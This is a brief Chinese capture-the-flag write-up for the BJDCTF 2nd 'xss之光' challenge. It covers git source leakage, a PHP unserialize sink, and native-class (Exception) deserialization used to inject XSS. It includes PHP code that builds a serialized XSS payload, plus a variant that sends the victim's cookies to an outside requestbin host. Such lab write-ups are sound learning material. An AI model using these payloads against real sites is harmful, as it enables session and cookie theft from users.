[BJDCTF 2nd]xss之光

考点：PHP原生类反序列化

首先dirsearch一波扫发现git源码泄露，这里注意BUU上需要设置线程加上-s 0.5

接着githack一波down取源码，只有一个index.php文件

<?php
$a = $_GET[‘yds_is_so_beautiful’];
echo unserialize($a);

是个反序列化，经过一番搜索发现是原生类反序化
参考文章

本地构造payload并url编码，传给yds_is_so_beautiful

<?php
$a = new Exception("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);

本地弹个窗F12在cookie中获得flag

或者利用http://http.requestbin.buuoj.cn平台

<?php
$a = new Exception("<script>window.location.href=\"http://http.requestbin.buuoj.cn/1i5ahsg1?cookie=\"+escape(document[\"cookie\"])</script>");
$b = serialize($a);
echo urlencode($b);

其中li5ahsg1自行根据获取修改，将结果传入在url处得到flag